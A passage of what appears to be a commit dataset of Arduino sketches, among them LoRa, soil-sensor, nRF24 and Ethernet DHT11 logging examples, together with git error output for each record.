https:\/\/github.com\/theapi\/LowCostLoRaGw\/blob\/master\/Arduino\/Arduino_LoRa_Ping_Pong\/Arduino_LoRa_Ping_Pong.ino\n * \n *\/\n#include <SPI.h> \n\/\/ Include the SX1272\n#include \"SX1272.h\"\n\/\/ oled display\n#include \"U8glib.h\"\n\n\n\/\/ IMPORTANT\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ please uncomment only 1 choice\n\/\/\n#define ETSI_EUROPE_REGULATION\n\/\/#define FCC_US_REGULATION\n\/\/#define SENEGAL_REGULATION\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n\/\/ IMPORTANT\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ uncomment if your radio is an HopeRF RFM92W, HopeRF RFM95W, Modtronix inAir9B, NiceRF1276\n\/\/ or you known from the circuit diagram that output use the PABOOST line instead of the RFO line\n#define PABOOST\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n\/\/ IMPORTANT\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ please uncomment only 1 choice\n#define BAND868\n\/\/#define BAND900\n\/\/#define BAND433\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef ETSI_EUROPE_REGULATION\n#define MAX_DBM 14\n#elif defined SENEGAL_REGULATION\n#define MAX_DBM 10\n#elif defined FCC_US_REGULATION\n#define MAX_DBM 14\n#endif\n\n#ifdef BAND868\n#ifdef SENEGAL_REGULATION\nconst uint32_t DEFAULT_CHANNEL=CH_04_868;\n#else\nconst uint32_t DEFAULT_CHANNEL=CH_10_868;\n#endif\n#elif defined BAND900\nconst uint32_t DEFAULT_CHANNEL=CH_05_900;\n#elif defined BAND433\nconst uint32_t DEFAULT_CHANNEL=CH_00_433;\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ CHANGE HERE THE LORA MODE, NODE ADDRESS \n#define LORAMODE 1\n#define node_addr 8\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ we wrapped Serial.println to support the Arduino Zero or M0\n#if defined __SAMD21G18A__ && not defined ARDUINO_SAMD_FEATHER_M0\n#define PRINTLN SerialUSB.println(\"\") \n#define PRINT_CSTSTR(fmt,param) SerialUSB.print(F(param))\n#define PRINT_STR(fmt,param) SerialUSB.print(param)\n#define PRINT_VALUE(fmt,param) SerialUSB.print(param)\n#define FLUSHOUTPUT SerialUSB.flush();\n#else\n#define PRINTLN Serial.println(\"\")\n#define PRINT_CSTSTR(fmt,param) Serial.print(F(param))\n#define PRINT_STR(fmt,param) Serial.print(param)\n#define PRINT_VALUE(fmt,param) Serial.print(param)\n#define FLUSHOUTPUT Serial.flush();\n#endif\n\n#define DEFAULT_DEST_ADDR 1\n\nuint8_t message[100];\n\nint loraMode=LORAMODE;\n\n\n\/\/ OLED\nU8GLIB_SSD1306_128X64_2X u8g(U8G_I2C_OPT_NONE);\n\ntypedef struct{\n int num;\n int code;\n\n}\nmonitor_t;\nmonitor_t monitor;\n\nint num = 0;\n\nvoid setup()\n{\n int e;\n\n memset(&monitor, 0, sizeof(monitor_t));\n \n \/\/ Open serial communications and wait for port to open:\n#if defined __SAMD21G18A__ && not defined ARDUINO_SAMD_FEATHER_M0 \n SerialUSB.begin(38400);\n#else\n Serial.begin(38400); \n#endif \n\n \/\/ Print a start message\n PRINT_CSTSTR(\"%s\",\"Simple LoRa ping-pong with the gateway\\n\"); \n\n#ifdef ARDUINO_AVR_PRO\n PRINT_CSTSTR(\"%s\",\"Arduino Pro Mini detected\\n\");\n#endif\n\n#ifdef ARDUINO_AVR_NANO\n PRINT_CSTSTR(\"%s\",\"Arduino Nano detected\\n\");\n#endif\n\n#ifdef ARDUINO_AVR_MINI\n PRINT_CSTSTR(\"%s\",\"Arduino MINI\/Nexus detected\\n\");\n#endif\n\n#ifdef __MK20DX256__\n PRINT_CSTSTR(\"%s\",\"Teensy31\/32 detected\\n\");\n#endif\n\n#ifdef __SAMD21G18A__ \n PRINT_CSTSTR(\"%s\",\"Arduino M0\/Zero detected\\n\");\n#endif\n\n \/\/ Power ON the module\n sx1272.ON();\n \n \/\/ Set transmission mode and print the result\n e = sx1272.setMode(loraMode);\n PRINT_CSTSTR(\"%s\",\"Setting Mode: state \");\n PRINT_VALUE(\"%d\", e);\n PRINTLN;\n\n \/\/ enable carrier sense\n sx1272._enableCarrierSense=true;\n \n \/\/ Select frequency channel\n e = sx1272.setChannel(DEFAULT_CHANNEL);\n PRINT_CSTSTR(\"%s\",\"Setting Channel: state \");\n PRINT_VALUE(\"%d\", e);\n PRINTLN;\n \n \/\/ Select amplifier line; PABOOST or RFO\n#ifdef PABOOST\n sx1272._needPABOOST=true;\n \/\/ previous way for setting output power\n \/\/ powerLevel='x';\n#else\n \/\/ previous way for setting output power\n \/\/ powerLevel='M'; \n#endif\n\n \/\/ previous way for setting output power\n \/\/ e = sx1272.setPower(powerLevel); \n\n e = sx1272.setPowerDBM((uint8_t)MAX_DBM); \n PRINT_CSTSTR(\"%s\",\"Setting Power: state \");\n PRINT_VALUE(\"%d\", e);\n PRINTLN;\n \n \/\/ Set the node address and print the result\n e = sx1272.setNodeAddress(node_addr);\n PRINT_CSTSTR(\"%s\",\"Setting node addr: state \");\n PRINT_VALUE(\"%d\", e);\n PRINTLN;\n \n \/\/ Print a success message\n PRINT_CSTSTR(\"%s\",\"SX1272 successfully configured\\n\");\n\n delay(500);\n}\n\n\nvoid loop(void)\n{\n uint8_t r_size;\n int e;\n\n sx1272.CarrierSense();\n\n sx1272.setPacketType(PKT_TYPE_DATA);\n\n r_size=sprintf((char*)message, \"Ping\");\n \n while (1) {\n\n PRINT_CSTSTR(\"%s\",\"Sending Ping\"); \n PRINTLN;\n \n e = sx1272.sendPacketTimeoutACK(DEFAULT_DEST_ADDR, message, r_size);\n\n \/\/ this is the no-ack version\n \/\/ e = sx1272.sendPacketTimeout(DEFAULT_DEST_ADDR, message, r_size);\n \n PRINT_CSTSTR(\"%s\",\"Packet sent, state \");\n PRINT_VALUE(\"%d\", e);\n PRINTLN;\n \n if (e==3)\n PRINT_CSTSTR(\"%s\",\"No Pong!\");\n \n if (e==0)\n PRINT_CSTSTR(\"%s\",\"Pong received from gateway!\"); \n\n PRINTLN;\n\n monitor.num = ++num;\n monitor.code = e;\n displayUpdate();\n \n delay(10000); \n } \n}\n\nvoid displayUpdate()\n{\n \/\/ picture loop\n u8g.firstPage();\n do {\n draw();\n } while( u8g.nextPage() );\n}\n\nvoid draw(void) {\n \/\/ graphic commands to redraw the complete screen should be placed here\n\n u8g.setFont(u8g_font_fub11n);\n \/\/u8g.setFont(u8g_font_unifont);\n u8g.setFontPosTop();\n \n u8g.setPrintPos(0, 0);\n u8g.print(monitor.num);\n \n u8g.setPrintPos(90, 0);\n u8g.print(monitor.code);\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'experiments\/lora_test\/lora_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe7c9524944beca52dfd2b9b90f88bf2671f4332","subject":"thinking of migrating to arduino","message":"thinking of migrating to arduino\n","repos":"980f\/dro,980f\/dro,980f\/dro,980f\/dro","old_file":"pinTest.ino","new_file":"pinTest.ino","new_contents":"\n\/* @param mode shoudl be one of:: INPUT, INPUT_PULLUP, and OUTPUT *\/\ntemplate <unsigned arduinoNumber,unsigned mode,unsigned polarity=digitalHigh> class Pin {\npublic:\n Pin(){\n pinMode(arduinoNumber,mode);\n }\n volatile operator bool()const{\n return digitalRead(arduinoNumber)==polarity;\n }\n bool operator =(bool value){\n digitalWrite(arduinoNumber,value?polarity:digitalHigh+digitalLow-polarity);\n }\n}\n\n\/** pin 13 is attached to the high side of an LED *\/\nPin<13,0,digitalHigh> LED;\/\/static constructors run just before main() is called, which in turn calls setup and loop.\nPin(12,1,digitalLow> button;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n LED=!button;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'pinTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f15f752e8ee57c1e4fb2ec77b236b79fd1b987d4","subject":"Soil Sensor","message":"Soil Sensor\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"examples\/SoilSensor\/SoilSensor.ino","new_file":"examples\/SoilSensor\/SoilSensor.ino","new_contents":"\n\/** \n Soil Sensor\n\n 16 ----*\n |\n \\\n \/\n \\ 10K\n \/\n |\n |\n A0 ----*\n |\n |\n *--------> nail 1\n \n *--\/\\\/\\--> nail 2\n | 470\u03a9\n |\n |\n GND ----*\n\nThe 470\u03a9 resistor on the second is protection against a short circuit.\nIf the nail, or its wire, were to touch the 3.3v power, the current will be\nlimited to 7mA (milliamps) as the NodeMCU can only handle a maximum of 12mA.\n \n*\/\n\n\n\/\/ Include the Denbit library.\n#include <Denbit.h>\n\/\/ Initialize the denbit.\nDenbit denbit;\n\n\n\/\/ Constants won't change.\nconst int sensorPin = A0; \/\/ the number of the sensor pin\nconst int powerPin = 16; \/\/ the number of the power pin\nconst int indicatorLed = 13; \/\/ the green LED will indicate when a reading is being made\nconst long interval = 1000; \/\/ how often to take a reading (milliseconds)\n\n\/\/ Variables will change.\nint sensorReading = 0; \/\/ will store the reading from the senso\n\n\/\/ Generally, you should use \"unsigned long\" for variables that hold time\n\/\/ The value will quickly become too large for an int to store\nunsigned long previousMillis = 0; \/\/ will store last time the sensor was read\n\nvoid setup() {\n \/\/ Start the serial output to monitor the sensor values.\n Serial.begin(115200);\n\n \/\/ Configure the power pin as an output\n pinMode(powerPin, OUTPUT);\n \/\/ Configure the led pin as an output\n pinMode(indicatorLed, OUTPUT);\n}\n\nvoid loop() {\n \/\/ Here is where you put code that needs to be running all the time.\n\n \/\/ Check to see if it's time to take a reading; that is, if the\n \/\/ difference between the current time and last time you took a reading\n \/\/ is bigger than the interval at which you want to take readings.\n unsigned long currentMillis = millis();\n\n if (currentMillis - previousMillis >= interval) {\n \/\/ Save this as the last time you took a reading.\n previousMillis = currentMillis;\n\n \/\/ Turn on the sensor power.\n \/\/ Power to the sensor is turned off when not taking a reading\n \/\/ to minimize corrosion due to electromigration.\n digitalWrite(powerPin, HIGH);\n\n \/\/ Turn on the indicator LED\n digitalWrite(indicatorLed, HIGH);\n\n \/\/ Read the voltage passing through the soil.\n sensorReading = analogRead(sensorPin);\n \/\/ Send the value to the serial monitor.\n Serial.println(sensorReading);\n\n \/\/ Turn off the sensor power\n digitalWrite(powerPin, LOW);\n \n \/\/ Turn off the indicator LED\n digitalWrite(indicatorLed, LOW);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SoilSensor\/SoilSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"19fc5ce879764dd0d7b325f2c69b7c4827c9fd69","subject":"Small changes in VexEncoder.ino","message":"Small changes in VexEncoder.ino\n","repos":"joeLoughboro\/Harold","old_file":"VexEncoder\/VexEncoder.ino","new_file":"VexEncoder\/VexEncoder.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/joeLoughboro\/Harold.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ff281215c321baabb97b9ebf4c356ab3f8238d68","subject":"Delete mqtt_esp8266_pir.ino","message":"Delete mqtt_esp8266_pir.ino","repos":"nakulsolanki\/HomeAutomation,nakulsolanki\/HomeAutomation,nakulsolanki\/HomeAutomation","old_file":"arduino\/mqtt_esp8266_pir.ino","new_file":"arduino\/mqtt_esp8266_pir.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nakulsolanki\/HomeAutomation.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f42d476a0e2cce5af40e0842a148f77b2dcd8e22","subject":"Created example","message":"Created example\n\nCreated simple example","repos":"SloCompTech\/QList","old_file":"examples\/SimpleList\/SimpleList.ino","new_file":"examples\/SimpleList\/SimpleList.ino","new_contents":"\/*\n\tSimple List\n\n\tThis program shows basic usage of QList\n\n\tCreated 30th November 2016\n\tBy SloCompTech\n\n\thttps:\/\/github.com\/SloCompTech\/QList\n\n*\/\nQList<String> myList;\nvoid setup()\n{\n Serial.begin(9600);\n myList.push_back(\"First\");\n myList.push_back(\"Second\");\n myList.push_front(\"New first\");\n Serial.println(\"Items:\");\n for(int i=0;i<myList.size();i++)\n {\n Serial.println(myList.at(i));\n }\n myList.pop_back();\n Serial.println(\"Items:\");\n for(int i=0;i<myList.size();i++)\n {\n Serial.println(myList.at(i));\n }\n myList.clear();\n}\nvoid loop()\n{\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SimpleList\/SimpleList.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"086f21433450996fc48977675ff841da763eba8d","subject":"Adding example 'HelloWorld'","message":"Adding example 'HelloWorld'\n","repos":"chriweis\/GingButton","old_file":"examples\/GingButtonHelloWorld\/GingButtonHelloWorld.ino","new_file":"examples\/GingButtonHelloWorld\/GingButtonHelloWorld.ino","new_contents":"#include <GingButton.h>\n\nGingButton button(3);\n\nvoid setup() {\n Serial.begin(9600);\n button.setCallback(&helloWorld, GING_BUTTON_LOW_HIGH);\n}\n\nvoid loop() {\n button.loop();\n}\n\nvoid helloWorld() {\n Serial.println(\"Hello World!\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GingButtonHelloWorld\/GingButtonHelloWorld.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"51bc55790c19179ee430bcfd87033bd0b2cb0053","subject":"Refactor.","message":"Refactor.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4a949291c763b54879ef074ddb65bcbd2a74a94e","subject":"Update PhaseDetector.ino","message":"Update PhaseDetector.ino","repos":"asiermarzo\/Ultraino,asiermarzo\/Ultraino","old_file":"Arduino phase detector\/PhaseDetector\/PhaseDetector.ino","new_file":"Arduino phase detector\/PhaseDetector\/PhaseDetector.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'phase' did not match any file(s) known to git\nerror: pathspec 'detector\/PhaseDetector\/PhaseDetector.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"93239a06821db944a039598bb2a28d62ec8e4bd4","subject":"INITIAL COMMIT","message":"INITIAL COMMIT\n","repos":"ericasaywhat\/marionette,ericasaywhat\/marionette","old_file":"microSD\/microSD.ino\/microSD.ino.ino","new_file":"microSD\/microSD.ino\/microSD.ino.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'microSD\/microSD.ino\/microSD.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6eabb463dd2a4361768a4e28037c657d6d78e85","subject":"Arduino-Ethernet-DHT11","message":"Arduino-Ethernet-DHT11","repos":"zaxarias\/Arduino-Ethernet-Sensor","old_file":"sketch_apr17aTempHumDelayFinal.ino","new_file":"sketch_apr17aTempHumDelayFinal.ino","new_contents":"#include <dht.h> \/\/DHT11 LIBRARY\n#include <UIPEthernet.h> \/\/UIPE ETHERNT LIBRARY FOR THE ETHERNET MODULE ENC28J60\n#define DHT11_PIN 9 \/\/ DHT11 IS CONNECTED TO PIN NUMBER 9 (ARDUINO UNO BOARD), OR SPECIFY ANY OTHER PIN\n#define DEBUG \/\/ TURN DEBUGGING ON OR OFF, TO TURN IT OFF JUST COMMENT THIS LINE\ndht DHT; \/\/ DEFINE A \"dht\" OBJECT INSTANCE WITH THE NAME \"DHT\"\n\/* ETHERNET SETTINGS\nARDUINO UNO PINS USED FOR THE ENC28J60 MODULE: 10=CS, 11=MOSI, 12=MISO, 13=SCK\nTHE ETHERNET MAC ADDRESS MUST BE UNIQUE IN THE PRIVATE LOCAL NETWORK\nREMEMBER THAT THE MAC ADDRESS IS IN HEXADECIMAL FORMAT\nIN THIS EXAMPLE WE USE THE FOLLOWING MAC ADDRESS : OE:96:03:38:94:92 *\/\nbyte mac[] = { 0x0E, 0x96, 0x03, 0x38, 0x94, 0x92 };\nEthernetClient client; \/\/ CREATES A CLIENT WHICH CAN CONNECT TO A SPECIFIED INTERNET IP ADDRESS AND PORT\nchar server[] = \"192.168.1.4\"; \/\/\/ IP ADDRESS OF THE LOCAL SERVER WE CONNECT AND SEND DATA TO\nint interval = 5000; \/\/ DELAY INTERVAL TO SAVE THE DATA IN THE DATABSE\nlong myinterval = 6000; \/\/3 Minutes-> 180000ms INTERVAL BETWEEN DATA READINGS, I SET IT IN 6 SECONDS FOR TESTING PURPOSES\nlong previousMillis = 0;\nint status = -2; \/\/ INITIALIZE THE CONNECTION STATUS VARIABLE\nvoid setup() {\n Serial.begin(9600); \/\/ OPEN SERIAL COMMUNICATIONS AND WAIT FOR A PORT TO OPEN\n Ethernet.begin(mac); \/\/ INITIALIZES THE ETHERNET LIBRARY AND NETWORK SETTINGS\n \/* ETHERNET SERIAL PRINTS\n INFORMATION ABOUT CLIENTS IP ADDRESS, THE SUBNET MASK OF THE NETWORK, THE GATEWAYS\n IP ADDRESS AND FINALLY THE DNS SERVER IP ADDRESS WHICH IS THE SAME AS THE GATEWAYS IP\n THESE INFORMATION WILL ONLY BE VISIBLE WHEN DEBUGGING IS ON *\/\n#ifdef DEBUG\n Serial.println(\"Temperature Logger\");\n Serial.println(\"*********************\");\n Serial.print(\"IP Address : \");\n Serial.println(Ethernet.localIP());\n Serial.print(\"Subnet Mask : \");\n Serial.println(Ethernet.subnetMask());\n Serial.print(\"Default Gateway IP: \");\n Serial.println(Ethernet.gatewayIP());\n Serial.print(\"DNS Server IP : \");\n Serial.println(Ethernet.dnsServerIP());\n#endif\n}\n\nvoid loop() {\n unsigned long currentMillis = millis();\n \/\/ RESET ENC28J60 IN CASE OF FAILURE TO CONNECT WITH THE LOCAL SERVER\n if (!client.connect(server, 80)) {\n#ifdef DEBUG\n Serial.println(\"Connection Failure: Resetting ENC28j60!\");\n#endif\n Enc28J60.init(mac); \/\/RESET AND INITIALIZE THE ENC28J60 AND STARTS PACKET TRANSMISSION-RECEPTION\n } else {\n client.stop();\n }\n \/* CONNECT TO THE SPECIFIED IP ADDRESS AND PORT\n IF A CONNECTION IS ESTABLISHED START SENDING DATA EVERY 3 MINUTES\n DATA WILL BE SENT AFTER THE FIRST 3 MINUTES\n ALSO WE CHECK THE STATUS OF THE SERVER\n THE FUNCTION CONNECT() RETURNS AN INT INDICATING CONNECTION STATUTS:\n SUCCESS (1)\n TIMED_OUT (-1)\n INVALID SERVER (-2)\n TRUNCATED (-3)\n INVALID RESPONSE (-4)*\/\n status = client.connect(server, 80);\n if (status == 1) {\n#ifdef DEBUG\n Serial.println(\"\\nConnection Success\");\n#endif\n if (currentMillis - previousMillis > myinterval) {\n previousMillis = currentMillis;\n \/\/READ DATA FROM THE DHT11 SENSOR\n int chk = DHT.read11(DHT11_PIN);\n \/* THE READ11() FUNCTION RETURNS:\n DHTLIB_OK (0): THE SENSOR SAMPLE AND ITS CHECKSUM ARE OK\n DHTLIB_ERROR_CHECKSUM (-1): THE CHECKSUM TEST FAILED. THIS MEANS THE DATA WAS RECEIVED BUT MAY NOT BE CORRECT\n DHTLIB_ERROR_TIMEOUT (-2): A TIME OUT OCCURRED AND COMMUNICATION HAS FAILED\n BELOW WE CHECK THE STATUS OF THE SENSOR *\/\n#ifdef DEBUG\n switch (chk) {\n case 0:\n Serial.print(\"Sensor OK\");\n break;\n case -1:\n Serial.print(\"Checksum Test Failed\");\n break;\n case -2:\n Serial.print(\"Time out Occurred, Communication Failed\");\n break;\n default:\n Serial.print(\"Unknown Error\");\n break;\n }\n#endif\n \/\/ PRINT THE HUMIDITY AND TEMPERATURE VALUES IN THE SERIAL MONITOR\n#ifdef DEBUG\n Serial.print(\"\\nValues: \");\n Serial.print(DHT.humidity, 1);\n Serial.print(\",\\t\");\n Serial.println(DHT.temperature, 1);\n Serial.println(\"Connected...sendingData\");\n#endif\n \/\/ MAKE A HTTP REQUEST\n \/\/ SPECIFY THE PHP FILE LOCATION IN THE SERVER\n \/\/PRINT DATA TO THE SERVER THE CLIENT IS CONNECTED TO\n \/\/STRUCTURE: \"GET \/filepath\/yourfile.php?\"\n client.print( \"GET \/arduEth\/write_data.php?\");\n client.print(\"hum=\"); \/\/DATABASE VARIABLE IS USED\n client.print(DHT.humidity, 1); \/\/THE VALUE TO WRITE IN THE DATABSE FOR HUMIDITY\n client.print(\"&&\");\n client.print(\"temp=\");\n client.print(DHT.temperature, 1); \/\/THE VALUE TO WRITE IN THE DATABSE FOR TEMPERATURE\n client.println( \" HTTP\/1.1\");\n client.print( \"Host: \" );\n client.println(server);\n client.println( \"Connection: close\" );\n client.println();\n client.println();\n client.stop(); \/\/ DISCONNECT FROM THE SERVER\n delay(interval); \/\/SOME INTERVAL FOR THE DATA TO BE WRITTEN IN THE DATABASE\n }\n }\n \/\/ IN CASE OF A TIME_OUT\n else if (status == -1) {\n#ifdef DEBUG\n Serial.println(\"Connection Timed Out !\");\n#endif\n }\n \/\/ IN CASE OF AN INVALID SERVER\n else if (status == -2) {\n#ifdef DEBUG\n Serial.println(\"Invalid Server !\");\n#endif\n }\n \/\/ IN CASE OF TRUNCATION\n else if (status == -3) {\n#ifdef DEBUG\n Serial.println(\"Truncated !\");\n#endif\n }\n \/\/ IN CASE OF AN INVALID RESPONSE\n else if (status == -4) {\n#ifdef DEBUG\n Serial.println(\"Invalid Response !\");\n#endif\n }\n \/\/ IN CASE OF AN UNKNOWN ERROR\n else {\n#ifdef DEBUG\n Serial.println(\"Unknown Error !\");\n#endif\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_apr17aTempHumDelayFinal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec32f87b0b82bba0f02dfc802a22130a73959ac4","subject":"Update Homotica_ESP8266.ino","message":"Update Homotica_ESP8266.ino","repos":"homotica\/homotica","old_file":"Homotica\/examples\/Homotica_ESP8266\/Homotica_ESP8266.ino","new_file":"Homotica\/examples\/Homotica_ESP8266\/Homotica_ESP8266.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/homotica\/homotica.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ed7a9de4af4a425e095a20fc58dea38c5dbe3d61","subject":"Ready for office","message":"Ready for office","repos":"lgramatikov\/celeste","old_file":"CelesteUIEthernet.ino","new_file":"CelesteUIEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d2b1df95ecdcaae054b2ab4a64bddbbf0b283680","subject":"ads1115 test","message":"ads1115 test\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_41-promini-nrf24-ads1115\/_41-promini-nrf24-ads1115.ino","new_file":"_41-promini-nrf24-ads1115\/_41-promini-nrf24-ads1115.ino","new_contents":"\/\/ 5pin\n\/* 24l01p pro mini\n 1 gnd -\n 2 vcc +\n 3 ce 9\n 4 csn 10\n 5 sck 13\n 6 mosi 11\n 7 miso 12\n*\/\n\n#include <avr\/wdt.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n#include <avr\/pgmspace.h>\n#include <avr\/power.h>\n#include <SPI.h>\n#include <LowPower.h>\n#include \"nRF24L01.h\"\n#include \"RF24.h\"\n#include <Wire.h>\n#include <Adafruit_ADS1015.h>\n\n#define adc_disable() (ADCSRA &= ~(1<<ADEN)) \/\/ disable ADC\n#define adc_enable() (ADCSRA |= (1<<ADEN)) \/\/ re-enable ADC\n\n#define CE_PIN 9\n#define CSN_PIN 10\n\n#define DEVICE_ID 15\n#define CHANNEL 100\n\nconst uint64_t pipes[2] = { 0xFFFFFFFFFFLL, 0xCCCCCCCCCCLL };\n\ntypedef struct {\n uint32_t _salt;\n uint16_t volt;\n int16_t data1;\n int16_t data2;\n uint8_t devid;\n} data;\n\ndata payload;\n\nRF24 radio(CE_PIN, CSN_PIN);\nAdafruit_ADS1115 ads(0x48); \/* Use this for the 16-bit version *\/\n\nvoid setup() {\n Serial.begin(115200);\n\n delay(20);\n unsigned long startmilis = millis();\n adc_disable();\n\n radio.begin();\n radio.setChannel(CHANNEL);\n radio.setPALevel(RF24_PA_LOW);\n radio.setDataRate(RF24_250KBPS);\n \/\/radio.setAutoAck(1);\n radio.setRetries(15, 15);\n radio.setPayloadSize(11);\n radio.openWritingPipe(pipes[0]);\n radio.stopListening();\n radio.powerDown();\n\n unsigned long stopmilis = millis();\n payload.data2 = ( stopmilis - startmilis ) * 10 ;\n\n payload._salt = 0;\n payload.devid = DEVICE_ID;\n}\n\nvoid loop() {\n \/*\n unsigned long startmilis = millis();\n\n payload._salt++;\n payload.data1 = 10 ;\n payload.volt = readVcc();\n\n radio.powerUp();\n radio.write(&payload , sizeof(payload));\n radio.powerDown();\n\n unsigned long stopmilis = millis();\n\n payload.data2 = ( stopmilis - startmilis ) * 10 ;\n *\/\n \n delay(5000);\n\n}\n\nint readVcc() {\n adc_enable();\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n#if 